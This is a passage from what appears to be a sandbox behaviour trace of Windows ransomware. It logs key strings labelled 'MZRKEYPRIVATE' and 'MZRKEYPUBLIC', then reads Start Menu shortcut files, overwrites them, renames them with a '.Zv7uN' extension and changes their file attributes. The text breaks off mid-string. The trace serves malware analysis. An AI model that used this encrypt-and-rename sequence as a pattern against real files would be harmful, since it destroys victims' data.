dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.548] GetCurrentThreadId () returned 0xa30 [0133.548] GetCurrentThreadId () returned 0xa30 [0133.548] GetCurrentThreadId () returned 0xa30 [0133.549] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.549] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.549] GetCurrentThreadId () returned 0xa30 [0133.550] GetCurrentThreadId () returned 0xa30 [0133.550] GetCurrentThreadId () returned 0xa30 [0133.550] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\create recovery disc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.550] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.550] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.550] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4e0 [0133.550] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.551] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0x4e0, lpOverlapped=0x0) returned 1 [0133.558] CloseHandle (hObject=0x1e8) returned 1 [0133.558] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\create recovery disc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.561] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0x4e0, lpOverlapped=0x0) returned 1 [0133.563] CloseHandle (hObject=0x1e8) returned 1 [0133.564] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\create recovery disc.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\create recovery disc.lnk.zv7un")) returned 1 [0133.567] GetCurrentThreadId () returned 0xa30 [0133.567] GetCurrentThreadId () returned 0xa30 [0133.567] GetCurrentThreadId () returned 0xa30 [0133.567] GetCurrentThreadId () returned 0xa30 [0133.567] GetCurrentThreadId () returned 0xa30 [0133.567] GetCurrentThreadId () returned 0xa30 [0133.567] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec13fc0c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec13fc0c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0133.567] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.567] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.567] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab46fc5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Remote Assistance.lnk", cAlternateFileName="REMOTE~1.LNK")) returned 1 [0133.567] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.567] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.567] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\remote assistance.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab46fc5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4bc)) returned 1 [0133.568] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\remote assistance.lnk")) returned 0x20 [0133.569] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk", dwFileAttributes=0x80) returned 1 [0133.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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